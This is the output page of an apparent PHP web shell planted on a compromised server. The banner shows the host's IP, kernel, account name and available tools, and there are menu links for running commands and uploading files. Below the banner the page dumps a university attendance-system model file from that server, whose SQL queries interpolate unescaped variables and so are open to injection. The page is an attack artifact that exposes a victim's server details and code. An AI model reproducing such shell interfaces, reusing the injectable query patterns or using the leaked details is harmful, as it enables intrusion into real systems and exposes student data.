GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.139.236.93
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/AttendanceManagement.php
<?php

/**
 * Description of AttendanceManagement
 *
 * @author Softpro India Pvt. Ltd.
 */
class AttendanceManagement extends CI_Model {

    function saveAttendance(array $attendanceDetailsArray) {
        $this->db->insert_batch('student_attendance_mst', $attendanceDetailsArray);
        return $this->db->insert_id();
    }

    function getAttendanceBy($sta_id = '', $slot_id = '', $session_id = '', $smember_id = '', $attDate = '') {
        $this->db->select("*,(SELECT ssa.ssa_semester from student_subject_allot ssa WHERE ssa.tspi_id = TSPI.tspi_id AND ssa.sm_id= (SELECT sm_id FROM subject_tech_allot WHERE sta_id =$sta_id)) as student_semester");
        $this->db->from("student_attendance_mst SAM");
        $this->db->join("student_tech_allot STTA", "STTA.stta_id=SAM.stta_id");
        $this->db->join("tbl_student_personal_info TSPI", "TSPI.tspi_id=STTA.tspi_id");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        if ($slot_id != '') {
            $this->db->where('SAM.slot_id', $slot_id);
        }
        if ($session_id != '') {
            $this->db->where('SAM.session_id', $session_id);
        }
        if ($smember_id != '') {
            $this->db->where('SAM.smember_id', $smember_id);
        }
        if ($sta_id != '') {
            $this->db->where('SAM.sta_id', $sta_id);
        }
        if ($attDate != '') {
            $this->db->where('DATE(SAM.sam_date)', $attDate);
        }
        $this->db->order_by("TSPI.tspi_name", "ASC");
        return $this->db->get();
    }

    function updateAttendance(array $attendanceDetailsArray) {
        $this->db->update_batch('student_attendance_mst', $attendanceDetailsArray, 'sam_id');
    }

    //give total no of classes held for a subject by a faculty
    function getTotalClasesCountBy($sta_id = '', $from = '', $to = '') {
        $this->db->select("Count(Distinct sta_id,slot_id,sam_date) as total_classes");
        $this->db->from("student_attendance_mst");
        if ($sta_id != '') {
            $this->db->where("sta_id", $sta_id);
        }
        if ($from != '' && $to != '') {
            $this->db->where("DATE(sam_date) >='$from' AND DATE(sam_date) <='$to'");
        }
        if ($from == '' && $to != '') {
            $this->db->where("DATE(sam_date) <='$to'");
        }
        if ($from != '' && $to == '') {
            $this->db->where("DATE(sam_date) >='$from'");
        }
        return $this->db->get();
    }

    //give total present classes details
    function getTotalAttendanceOfStudentBy($stta_id = '', $from = '', $to = '') {
        $this->db->select("Count(stta_id) as present_count");
        $this->db->from("student_attendance_mst SAM");
        if ($stta_id != '') {
            $this->db->where("stta_id", $stta_id);
        }
        if ($from != '' && $to != '') {
            $this->db->where("DATE(sam_date) >='$from' AND DATE(sam_date) <='$to'");
        }
        if ($from == '' && $to != '') {
            $this->db->where("DATE(sam_date) <='$to'");
        }
        if ($from != '' && $to == '') {
            $this->db->where("DATE(sam_date) >='$from'");
        }
        $this->db->where("sam_flag", "P");
        return $this->db->get();
    }

    function saveAttendanceConfigData(array $array) {
        $this->db->insert_batch("student_attendance_calendar_status_mst", $array);
        return $this->db->insert_id();
    }

    function getAttendanceConfigs() {
        $this->db->select("*,CONCAT(TPRFLAA.tprfl_firstname,' ',TPRFLAA.tprfl_lastname) addedFor,CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("student_attendance_calendar_status_mst SACSM");
        $this->db->join('tbl_staff_members TSMAA', "SACSM.smember_id = TSMAA.smember_id");
        $this->db->join('tbl_profile TPRFLAA', 'TSMAA.smember_id = TPRFLAA.tprfl_id');
        $this->db->join('tbl_staff_members TSMA', "SACSM.sacsm_added_by = TSMA.smember_id");
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', "SACSM.sacsm_updated_by = TSMU.smember_id");
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        return $this->db->get();
    }

    function deleteAttendanceConfigs($sacsm_id) {
        $this->db->where("sacsm_id", $sacsm_id);
        return $this->db->delete("student_attendance_calendar_status_mst");
    }

    function isSafeToAddAttendanceConfigSettingFor($currentDate, $smember_id) {
        $this->db->select("*");
        $this->db->from("student_attendance_calendar_status_mst");
        $this->db->where("smember_id", $smember_id);
        $this->db->where("sacsm_end_date >= '$currentDate'");
        return $this->db->get();
    }
    
    function getAbsentDatatBy($stta_id = '', $from = '', $to = '') {
        $this->db->select("*");
        $this->db->from("student_attendance_mst SAM");
        $this->db->join("student_tech_allot STTA", "STTA.stta_id=SAM.stta_id");
        $this->db->join("tbl_student_personal_info TSPI", "TSPI.tspi_id=STTA.tspi_id");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        if ($stta_id != '') {
            $this->db->where("SAM.stta_id", $stta_id);
        }
        if ($from != '' && $to != '') {
            $this->db->where("DATE(SAM.sam_date) >='$from' AND DATE(SAM.sam_date) <='$to'");
        }
        if ($from == '' && $to != '') {
            $this->db->where("DATE(SAM.sam_date) <='$to'");
        }
        if ($from != '' && $to == '') {
            $this->db->where("DATE(SAM.sam_date) >='$from'");
        }
        $this->db->where("SAM.sam_flag", "A");
        $this->db->where("SAM.sam_remark IS NOT NULL OR SAM.sam_remark <> '' ");
        return $this->db->get();
    }

}

KBHT - 2023